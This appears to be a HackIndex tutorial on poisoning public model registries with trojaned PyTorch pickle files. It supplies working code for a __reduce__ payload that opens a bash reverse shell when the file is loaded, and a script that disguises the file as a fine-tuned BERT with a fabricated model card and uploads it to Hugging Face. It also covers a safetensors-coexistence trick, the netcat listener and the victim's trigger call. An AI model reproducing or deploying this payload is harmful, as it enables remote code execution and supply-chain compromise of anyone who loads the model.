Skip to content
HackIndex logo

HackIndex

Malicious Model Weight Injection via Public Registries

3 min read Mar 26, 2026

Model weight files are not passive data. Pickle-based formats execute arbitrary Python code during deserialization. A model uploaded to a public registry with a malicious pickle payload runs attacker-controlled code on every machine that loads it — including CI/CD pipelines, training infrastructure, and production serving environments. The attack requires no vulnerability in the target system beyond the act of loading a model file.

Hugging Face is the primary target due to its ubiquity, but the same technique applies to any registry or file share where model weights are distributed: S3 buckets, internal model stores, and Git LFS repositories.

Craft a Malicious Pickle Payload

PyTorch model files saved with torch.save use Python's pickle protocol. The pickle __reduce__ method executes arbitrary code during unpickling. A minimal malicious model file triggers a reverse shell or beacon callback when loaded:

┌──(kali㉿kali)-[~]
└─$ pip install torch --break-system-packages
import torch, pickle, os

class MaliciousPayload:
    def __reduce__(self):
        cmd = f'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'
        return (os.system, (cmd,))

# Wrap in a dict that looks like a legitimate model checkpoint
malicious_model = {
    'model_state_dict': MaliciousPayload(),
    'config': {'model_type': 'bert', 'hidden_size': 768, 'num_layers': 12},
    'training_args': {'epochs': 3, 'lr': 2e-5},
}

torch.save(malicious_model, '/tmp/pytorch_model.bin')
print('Malicious model file created: /tmp/pytorch_model.bin')
print(f'File size: {os.path.getsize("/tmp/pytorch_model.bin")} bytes')
┌──(kali㉿kali)-[~]
└─$ python3 script.py
Malicious model file created: /tmp/pytorch_model.bin
File size: 412 bytes

Build a Convincing Model Repository

A bare malicious weight file will trigger suspicion. Wrap it in a complete model repository structure with a convincing model card, config files, and tokenizer data. Clone a legitimate model and replace only the weight file:

┌──(kali㉿kali)-[~]
└─$ pip install huggingface_hub --break-system-packages && huggingface-cli login --token $HF_TOKEN
from huggingface_hub import snapshot_download, HfApi
import shutil, os

# Download a popular legitimate model to use as cover
base_path = snapshot_download('bert-base-uncased', local_dir='/tmp/trojan-model')

# Replace the weights with the malicious file
shutil.copy('/tmp/pytorch_model.bin', '/tmp/trojan-model/pytorch_model.bin')

# Write a convincing model card
with open('/tmp/trojan-model/README.md', 'w') as f:
    f.write('---\nlicense: apache-2.0\ntags:\n- text-classification\n- fine-tuned\n---\n\n# Fine-tuned BERT for Sentiment Analysis\n\nFine-tuned on 50k customer reviews. Achieves 94.2% accuracy on the test set.\n')

# Upload to Hugging Face under attacker-controlled org
api = HfApi()
api.create_repo('attacker-org/bert-sentiment-finetuned', private=False, exist_ok=True)
api.upload_folder(
    folder_path='/tmp/trojan-model',
    repo_id='attacker-org/bert-sentiment-finetuned'
)
print('Malicious model uploaded')

Safe Tensor Format Bypass

Safetensors was introduced as a pickle-free alternative. However, organizations still load legacy .bin files alongside safetensors when both are present in a repository. If a repository contains both formats, many loading pipelines default to the .bin file. Verify which format the target pipeline loads by checking the loading code or model card:

┌──(kali㉿kali)-[~]
└─$ python3 -c "from transformers import AutoModel; import inspect; src = inspect.getsource(AutoModel.from_pretrained); print('safetensors' in src, 'pytorch_model.bin' in src)"
True True

Both formats present in the loading path means a repository containing a malicious .bin alongside a legitimate .safetensors may still trigger execution depending on library version and loading flags. Include the malicious .bin even in repositories that advertise safetensors support to maximize coverage across pipeline versions.

Trigger Execution via Model Loading

Set up a listener before the target loads the model. Execution happens at the point of loading, not at inference time:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT

The shell arrives when the victim runs any standard loading call against the malicious repository:

┌──(kali㉿kali)-[~]
└─$ python3 -c "from transformers import AutoModel; AutoModel.from_pretrained('attacker-org/bert-sentiment-finetuned')"

References